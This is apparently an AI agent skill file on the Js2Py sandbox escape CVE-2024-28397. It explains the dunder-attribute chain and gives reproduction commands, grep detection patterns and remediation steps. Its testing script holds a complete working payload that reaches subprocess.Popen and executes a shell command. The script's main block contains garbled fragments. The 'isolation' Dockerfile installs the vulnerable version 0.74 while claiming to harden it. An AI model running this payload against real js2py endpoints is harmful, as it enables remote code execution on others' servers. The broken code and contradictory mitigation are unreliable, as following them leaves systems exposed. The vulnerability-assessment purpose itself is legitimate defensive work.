| name | js2py-cve-2024-28397-assessment |
| description | Security assessment skill for CVE-2024-28397 (Js2Py sandbox escape). Use this skill when analyzing JavaScript-to-Python execution environments, reviewing js2py usage in codebases, testing for this specific vulnerability in authorized security assessments, or implementing mitigations. Trigger when users mention js2py, JavaScript sandboxing, Python sandbox escapes, CVE-2024-28397, or need to evaluate js2py security posture. |
Js2Py CVE-2024-28397 Security Assessment
A skill for security professionals to understand, test for, and remediate the Js2Py sandbox escape vulnerability (CVE-2024-28397).
⚠️ Authorization Required
This skill is for authorized security testing only. Only use these techniques on:
- Systems you own or have explicit written permission to test
- Your own development/testing environments
- Bug bounty programs where this vulnerability is in scope
Unauthorized access to computer systems is illegal.
What This Vulnerability Is
Js2Py translates JavaScript into Python objects. Even when js2py.disable_pyimport() is used, untrusted JavaScript can traverse Python internals to reach dangerous classes like subprocess.Popen, achieving remote code execution (RCE).
Affected versions: Js2Py ≤ 0.74
Root cause: Js2Py exposes Python object wrappers to JavaScript without stripping dangerous attributes (__getattribute__, __class__, __base__, __subclasses__). The disable_pyimport() function only blocks explicit imports but doesn't prevent accessing already-loaded modules.
The Exploitation Chain
Step-by-Step Primitive Chain
- Get a Python-backed object:
Object.getOwnPropertyNames({}) returns a dict_keys object in Python space
- Recover attribute access: Grab
.__getattribute__ from that object to read arbitrary attributes
- Climb to
object: From <class 'dict_keys'> read .__base__ to reach Python's base object
- Enumerate loaded classes: Call
object.__subclasses__() to walk every class loaded in the interpreter
- Find
subprocess.Popen: Recursively search subclasses where __module__ == "subprocess" and __name__ == "Popen"
- Execute commands: Instantiate Popen with attacker-controlled arguments and invoke
.communicate()
Why This Works
- Js2Py exposes Python object wrappers to JS without stripping dangerous dunder methods
disable_pyimport() only blocks explicit pyimport calls
- The chain never imports anything new; it reuses already-loaded modules in memory
- No hard isolation between JS and Python execution contexts
Testing for the Vulnerability
Local Reproduction (Authorized Testing Only)
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print("Test 1:", js2py.eval_js("Object.getOwnPropertyNames({})"))
print("Test 2:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))
print("Test 3:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print("Test 4:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print("Test 5:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Web Application Testing
Any endpoint that feeds attacker-controlled JS into js2py.eval_js() is vulnerable if:
- The process user has shell access
- Js2Py version ≤ 0.74
- No additional sandboxing layers exist
Common vulnerable patterns:
@app.route('/run_code')
def run_code():
js_code = request.json['code']
result = js2py.eval_js(js_code)
return jsonify({'result': result})
js2py.disable_pyimport()
result = js2py.eval_js(attacker_controlled_js)
Detection Checklist
Use this checklist to identify vulnerable systems:
Code Search Patterns
grep -r "import js2py" .
grep -r "from js2py" .
grep -r "eval_js" .
grep -r "disable_pyimport" .
Remediation Strategies
Immediate Mitigations
-
Upgrade Js2Py (if a patched version exists)
pip install --upgrade js2py
-
Remove untrusted JS execution
- If you don't need to execute untrusted JavaScript, remove js2py entirely
- Use safer alternatives like Node.js in a container for JS execution
-
Implement hard isolation
- Run js2py in a separate process with minimal privileges
- Use containers (Docker) with no shell access
- Implement network isolation
Long-term Solutions
-
Replace with safer alternatives
- For JS execution: Use Node.js in isolated containers
- For JS-to-Python data exchange: Use JSON serialization instead of object translation
-
Implement input validation
- Whitelist allowed JavaScript operations
- Sanitize all user input before execution
- Use allowlists rather than blocklists
-
Defense in depth
- Run in containers with seccomp profiles
- Use read-only filesystems where possible
- Implement network egress filtering
- Monitor for suspicious process spawning
Example: Containerized Isolation
FROM python:3.11-slim
# Install js2py
RUN pip install js2py==0.74
# Create unprivileged user
RUN useradd -r -s /bin/false js2py_user
# Set restrictive environment
USER js2py_user
WORKDIR /app
# No shell access, limited capabilities
CMD ["python", "app.py"]
Security Testing Script
Use this script to test your own systems (authorized testing only):
"""Test for CVE-2024-28397 in your own js2py installations."""
import js2py
import sys
def test_sandbox_escape():
"""Test if the sandbox can be escaped."""
test_cmd = "echo 'sandbox_test_success'"
payload = f"""
let cmd = "{test_cmd}";
let hacked, bymarve, n11;
let getattr, obj;
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;
function findpopen(o) {{
let result;
for (let i in o.__subclasses__()) {{
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
return item;
}}
if (item.__name__ != "type" && (result = findpopen(item))) {{
return result;
}}
}}
}}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
n11;
"""
try:
result = js2py.eval_js(payload)
if "sandbox_test_success" in str(result):
print("[VULNERABLE] Sandbox escape successful!")
return True
else:
print("[SAFE] Sandbox escape failed")
return False
except Exception as e:
print(f"[SAFE] Exception during test: {e}")
return False
if __name__ == "__main__":
()
( * )
()
()
test_sandbox_escape()
Common Misconceptions
❌ "disable_pyimport() protects us"
False. This only blocks explicit pyimport calls. The vulnerability chain never imports anything new.
❌ "We don't execute user JS, so we're safe"
Check carefully. User input might reach js2py through:
- API endpoints accepting code
- File uploads with JS content
- Database-stored scripts
- Third-party integrations
❌ "It's just a sandbox, not production"
False. Development/test environments can be pivot points to production systems if on the same network.
References
When to Use This Skill
Use this skill when:
- Reviewing codebases for js2py usage
- Conducting authorized security assessments
- Implementing JavaScript execution in Python applications
- Responding to CVE-2024-28397 alerts
- Designing secure sandbox architectures
- Training security teams on sandbox escapes
Related Vulnerabilities
Similar sandbox escape patterns exist in:
- Other JS-to-Python bridges
- Python-to-JavaScript bridges
- Any language bridge exposing internal object attributes
- Sandboxes relying on attribute blocking without hard isolation